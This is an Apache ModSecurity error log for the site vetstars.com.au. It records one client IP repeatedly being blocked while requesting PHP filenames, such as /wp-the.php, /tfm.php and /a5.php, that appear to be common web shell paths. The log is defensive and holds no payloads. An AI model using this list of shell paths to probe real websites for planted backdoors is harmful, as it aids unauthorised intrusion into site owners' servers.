[Sun Apr 12 08:25:41.442195 2026] [:error] [pid 26567:tid 26572] [client 4.232.184.116:11143] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adrmhXhRpg6ptWFyFx0tdQAAAQM"]
[Sun Apr 12 08:25:42.531098 2026] [:error] [pid 26567:tid 26571] [client 4.232.184.116:11250] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adrmhnhRpg6ptWFyFx0teQAAAQI"]
[Sun Apr 12 08:25:43.311829 2026] [:error] [pid 25437:tid 25439] [client 4.232.184.116:11203] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adrmh3f97wYZje1ep_N-OAAAAMA"]
[Sun Apr 12 08:25:44.446317 2026] [:error] [pid 60280:tid 60284] [client 4.232.184.116:11236] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adrmiHBlLnDOYuIykkgjYgAAAcI"]
[Sun Apr 12 08:25:45.428685 2026] [:error] [pid 25328:tid 25364] [client 4.232.184.116:11094] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adrmicxUaQZxT-e0YsAkLwAAAEA"]
[Sun Apr 12 08:25:46.773940 2026] [:error] [pid 25328:tid 25389] [client 4.232.184.116:11225] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adrmisxUaQZxT-e0YsAkMQAAAFA"]
[Sun Apr 12 08:25:50.309983 2026] [:error] [pid 26599:tid 26607] [client 4.232.184.116:11261] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adrmjnG89LXoQbk_rwBz5wAAAUU"]
[Sun Apr 12 08:25:51.886481 2026] [:error] [pid 25437:tid 25461] [client 4.232.184.116:11072] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "adrmj3f97wYZje1ep_N-RQAAANY"]
[Sun Apr 12 08:26:40.447026 2026] [:error] [pid 26599:tid 26603] [client 4.232.184.116:11222] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adrmwHG89LXoQbk_rwB0JAAAAUE"]
[Sun Apr 12 08:26:41.954195 2026] [:error] [pid 26599:tid 26614] [client 4.232.184.116:11124] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adrmwXG89LXoQbk_rwB0JQAAAUw"]
[Sun Apr 12 08:26:43.369151 2026] [:error] [pid 25437:tid 25459] [client 4.232.184.116:11263] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adrmw3f97wYZje1ep_N-jQAAANQ"]
[Sun Apr 12 08:26:45.375356 2026] [:error] [pid 25327:tid 25356] [client 4.232.184.116:11251] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adrmxS6h2tZEVJo9JFJpYgAAABQ"]
[Sun Apr 12 08:26:46.227110 2026] [:error] [pid 25437:tid 25461] [client 4.232.184.116:11076] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adrmxnf97wYZje1ep_N-lgAAANY"]
[Sun Apr 12 08:26:47.831631 2026] [:error] [pid 25437:tid 25444] [client 4.232.184.116:11190] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adrmx3f97wYZje1ep_N-nAAAAMU"]
[Sun Apr 12 08:26:49.770763 2026] [:error] [pid 25437:tid 25446] [client 4.232.184.116:11238] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adrmyXf97wYZje1ep_N-ogAAAMc"]
[Sun Apr 12 08:26:50.859031 2026] [:error] [pid 26600:tid 26640] [client 4.232.184.116:11155] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adrmyu1YwAZiXhQKLYqehgAAAYs"]
[Sun Apr 12 08:26:51.756079 2026] [:error] [pid 25437:tid 25445] [client 4.232.184.116:11244] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "adrmy3f97wYZje1ep_N-qwAAAMY"]
[Sun Apr 12 08:26:52.552167 2026] [:error] [pid 26567:tid 26584] [client 4.232.184.116:11208] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "adrmzHhRpg6ptWFyFx0uSQAAAQ8"]
[Sun Apr 12 08:26:53.176416 2026] [:error] [pid 25329:tid 25407] [client 4.232.184.116:11183] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "adrmzWdcIYsS8Iyaj11e5wAAAJI"]
[Sun Apr 12 08:26:53.684420 2026] [:error] [pid 26567:tid 26573] [client 4.232.184.116:11233] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "adrmzXhRpg6ptWFyFx0uSwAAAQQ"]
[Sun Apr 12 08:26:54.347280 2026] [:error] [pid 25329:tid 25384] [client 4.232.184.116:11103] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "adrmzmdcIYsS8Iyaj11e6QAAAIU"]
[Sun Apr 12 08:26:55.480029 2026] [:error] [pid 25437:tid 25463] [client 4.232.184.116:11091] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "adrmz3f97wYZje1ep_N-rQAAANg"]
[Sun Apr 12 08:26:56.172530 2026] [:error] [pid 60280:tid 60289] [client 4.232.184.116:11260] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "adrm0HBlLnDOYuIykkgjhwAAAcc"]
[Sun Apr 12 08:26:57.309041 2026] [:error] [pid 25437:tid 25461] [client 4.232.184.116:11032] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "adrm0Xf97wYZje1ep_N-swAAANY"]
[Sun Apr 12 08:26:58.430709 2026] [:error] [pid 26600:tid 26643] [client 4.232.184.116:11200] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "adrm0u1YwAZiXhQKLYqekQAAAY4"]
[Sun Apr 12 08:26:59.834177 2026] [:error] [pid 25437:tid 25463] [client 4.232.184.116:11139] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "adrm03f97wYZje1ep_N-ugAAANg"]
[Sun Apr 12 08:27:00.961997 2026] [:error] [pid 25327:tid 25355] [client 4.232.184.116:11243] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "adrm1C6h2tZEVJo9JFJpggAAABM"]
[Sun Apr 12 08:27:03.253532 2026] [:error] [pid 26567:tid 26571] [client 4.232.184.116:11214] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "adrm13hRpg6ptWFyFx0uYwAAAQI"]
[Sun Apr 12 08:27:04.309097 2026] [:error] [pid 26600:tid 26635] [client 4.232.184.116:11112] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adrm2O1YwAZiXhQKLYqenAAAAYY"]
[Sun Apr 12 08:27:06.250627 2026] [:error] [pid 26567:tid 26589] [client 4.232.184.116:11204] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adrm2nhRpg6ptWFyFx0uaAAAARQ"]
[Sun Apr 12 08:27:08.166591 2026] [:error] [pid 26599:tid 26626] [client 4.232.184.116:11021] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adrm3HG89LXoQbk_rwB0QwAAAVg"]
[Sun Apr 12 08:27:09.512041 2026] [:error] [pid 25437:tid 25463] [client 4.232.184.116:11182] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adrm3Xf97wYZje1ep_N-yAAAANg"]
[Sun Apr 12 08:27:10.653607 2026] [:error] [pid 26567:tid 26583] [client 4.232.184.116:11079] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adrm3nhRpg6ptWFyFx0udAAAAQ4"]
[Sun Apr 12 08:27:11.928469 2026] [:error] [pid 25327:tid 25344] [client 4.232.184.116:11228] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adrm3y6h2tZEVJo9JFJpnAAAAAg"]
[Sun Apr 12 08:27:12.962610 2026] [:error] [pid 26599:tid 26619] [client 4.232.184.116:11152] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adrm4HG89LXoQbk_rwB0SgAAAVE"]
[Sun Apr 12 08:27:14.121425 2026] [:error] [pid 60280:tid 60297] [client 4.232.184.116:11153] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adrm4nBlLnDOYuIykkgjlQAAAc8"]
[Sun Apr 12 08:27:15.189932 2026] [:error] [pid 25327:tid 25352] [client 4.232.184.116:11218] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adrm4y6h2tZEVJo9JFJpnwAAABA"]
[Sun Apr 12 08:27:16.941818 2026] [:error] [pid 26567:tid 26581] [client 4.232.184.116:11035] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adrm5HhRpg6ptWFyFx0ufAAAAQw"]
[Sun Apr 12 08:27:18.140807 2026] [:error] [pid 26567:tid 26591] [client 4.232.184.116:11037] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adrm5nhRpg6ptWFyFx0ugQAAARY"]
[Sun Apr 12 08:27:18.919870 2026] [:error] [pid 25327:tid 25356] [client 4.232.184.116:11030] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adrm5i6h2tZEVJo9JFJppwAAABQ"]
[Sun Apr 12 08:27:20.217779 2026] [:error] [pid 25437:tid 25455] [client 4.232.184.116:11229] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adrm6Hf97wYZje1ep_N-0wAAANA"]
[Sun Apr 12 08:27:21.002526 2026] [:error] [pid 60280:tid 60286] [client 4.232.184.116:11257] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adrm6XBlLnDOYuIykkgjlwAAAcQ"]
[Sun Apr 12 08:27:21.765431 2026] [:error] [pid 25327:tid 25339] [client 4.232.184.116:11206] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adrm6S6h2tZEVJo9JFJpqwAAAAM"]
[Sun Apr 12 08:27:22.271661 2026] [:error] [pid 25437:tid 25453] [client 4.232.184.116:11202] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adrm6nf97wYZje1ep_N-2AAAAM4"]
[Sun Apr 12 08:27:22.857182 2026] [:error] [pid 26600:tid 26651] [client 4.232.184.116:11207] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adrm6u1YwAZiXhQKLYqesQAAAZY"]
[Sun Apr 12 08:27:23.654298 2026] [:error] [pid 25327:tid 25346] [client 4.232.184.116:11247] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adrm6y6h2tZEVJo9JFJprAAAAAo"]
[Sun Apr 12 08:27:24.112023 2026] [:error] [pid 60280:tid 60283] [client 4.232.184.116:11134] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adrm7HBlLnDOYuIykkgjmgAAAcE"]
[Sun Apr 12 08:27:24.634829 2026] [:error] [pid 25327:tid 25347] [client 4.232.184.116:11234] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adrm7C6h2tZEVJo9JFJprgAAAAs"]
[Sun Apr 12 08:27:25.396027 2026] [:error] [pid 26567:tid 26578] [client 4.232.184.116:11100] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "adrm7XhRpg6ptWFyFx0ukAAAAQk"]
[Sun Apr 12 08:27:25.990532 2026] [:error] [pid 25327:tid 25353] [client 4.232.184.116:11145] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "adrm7S6h2tZEVJo9JFJpsAAAABE"]
[Sun Apr 12 08:27:26.515494 2026] [:error] [pid 25329:tid 25378] [client 4.232.184.116:11221] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "adrm7mdcIYsS8Iyaj11e8AAAAII"]
[Sun Apr 12 08:27:27.372071 2026] [:error] [pid 25437:tid 25446] [client 4.232.184.116:11199] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "adrm73f97wYZje1ep_N-5AAAAMc"]
[Sun Apr 12 08:27:27.978497 2026] [:error] [pid 25437:tid 25442] [client 4.232.184.116:11158] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "adrm73f97wYZje1ep_N-6AAAAMM"]
[Sun Apr 12 08:27:28.756558 2026] [:error] [pid 25328:tid 25377] [client 4.232.184.116:11224] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "adrm8MxUaQZxT-e0YsAkdAAAAEo"]
[Sun Apr 12 08:27:29.417176 2026] [:error] [pid 26567:tid 26592] [client 4.232.184.116:11191] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "adrm8XhRpg6ptWFyFx0umQAAARc"]
[Sun Apr 12 08:27:30.049872 2026] [:error] [pid 25327:tid 25341] [client 4.232.184.116:11144] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "adrm8i6h2tZEVJo9JFJptQAAAAU"]
